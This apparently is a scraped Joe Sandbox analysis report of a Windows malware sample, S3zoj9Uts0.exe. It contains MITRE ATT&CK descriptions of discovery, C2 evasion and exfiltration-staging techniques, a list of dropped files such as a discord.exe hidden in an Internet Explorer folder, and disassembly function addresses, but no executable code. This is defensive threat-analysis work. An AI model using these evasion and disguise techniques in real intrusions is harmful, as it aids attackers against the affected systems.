Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report S3zoj9Uts0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Oracle\Java\.oracle_jre_usage\cce3fe3b0d8d83e2.timestamp

C:\Users\user\AppData\Local\Temp\jarva.jar

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\discord.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
S3zoj9Uts0.exe

Function 0230A248 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Function 0230588C Relevance: 1.6, APIs: 1, Instructions: 98
COMMON

Function 02303A0C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 0230AF6C Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Function 0230C732 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 02309580 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Function 0230A68C Relevance: 1.6, APIs: 1, Instructions: 53
libraryCOMMON

Function 0230951C Relevance: 1.6, APIs: 1, Instructions: 50
COMMON